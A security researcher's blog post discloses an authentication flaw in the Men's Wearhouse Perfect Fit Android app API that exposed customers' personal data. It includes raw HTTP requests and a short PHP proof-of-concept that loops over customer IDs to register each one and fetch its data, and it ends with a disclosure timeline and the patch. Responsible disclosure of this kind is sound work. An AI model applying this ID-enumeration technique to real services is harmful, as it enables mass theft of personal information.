Men’s Wearhouse offers an Android app called Perfect Fit which allows customers to manage their accounts, track their rewards points, receive coupons, etc. As a customer myself, I already had an account with them and decided to review the requests the app was making while logging in and accessing my information. In doing so, I immediately identified a flaw in their web service’s authentication/session management that exposed the personal information of all of their customers with Perfect Fit accounts.

It seemed that instead of handling sessions through an oauth token, or another session management mechanism, the API “authenticated” using a device ID. The workflow started with a user posting login credentials and the API returning a JSON object:

{ "userId": "77932027", "personalizationID": "1407756700127-1", "PerfectFitId": "223036771" }

Notice the “PerfectFitId“. Immediately following the successful login request, the previously returned PerfectFitId was “registered” to a device ID, which is actually the Android’s ANDROID_ID. Here’s an example of the registration request:

POST https://pf.tmw.com/rest/members/register/389b41672bb7dd69 HTTP/1.1 Host: pf.tmw.com Connection: keep-alive Content-Length: 58 Accept: application/json, text/plain, */* Origin: file:// User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SCH-I545 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Content-Type: application/json Accept-Encoding: gzip,deflate Accept-Language: en-US Cookie: AWSELB=***REMOVED*** X-Requested-With: com.tmw.pfma perfectFitId=223036771&ecommEmail=test%40gmail.com

And the response:

HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: file:// Content-Type: application/json;charset=UTF-8 Date: Wed, 01 Oct 2014 11:56:53 GMT Server: Apache-Coyote/1.1 Content-Length: 31 Connection: keep-alive {"code":"0","result":"Success"}

After registering the device, user information was fetched using the device ID with a simple GET request to: https://pf.tmw.com/rest/rewardscustomer/device/389b41672bb7dd69. The personal information of the user assigned to the registered PerfectFitId was returned like this:

Since the web service didn’t enforce a restriction on what PerfectFitIds could be registered to a given Device, altering the ID and registering it to a DeviceId would allow an attacker to collect the personal information of any user with a Perfect Fit account. Here’s a proof-of-concept in PHP that demonstrates the vulnerability:

$id = 223036769; while(TRUE) { $data = array( "perfectFitId"=>$id, "ecommEmail"=>"test%40gmail.com" ); // Register device $r1 = curl("https://pf.tmw.com/rest/members/register/389b41672bb7dd69", $data); // Get user information $r = curl("https://pf.tmw.com/rest/rewardscustomer/device/389b41672bb7dd69"); if(!empty($r)) { exit($r); } $id--; }

With the vulnerability identified, I was off to responsibly disclose the issue to Men’s Wearhouse. While initially difficult to get a hold of, their information security team was very receptive and worked with me to get the vulnerability patched. Here’s the timeline:

2014-08-11: Initial email to several contacts identified through LinkedIn

2014-08-15: Follow-up email to additional contacts identified due to no response

2014-09-24: Attempted contact through traditional customer service requesting info sec contact me

2014-09-25: Received email from an info sec manager, we discussed concerns during a phone call

2014-09-30: Email received acknowledging the issue and that a fix is in progress

2014-10-14: Patch released. Issue required a few days for devices to update, after which the old API endpoint would be disabled

2014-10-25: Confirmation of deployed fix

Share this: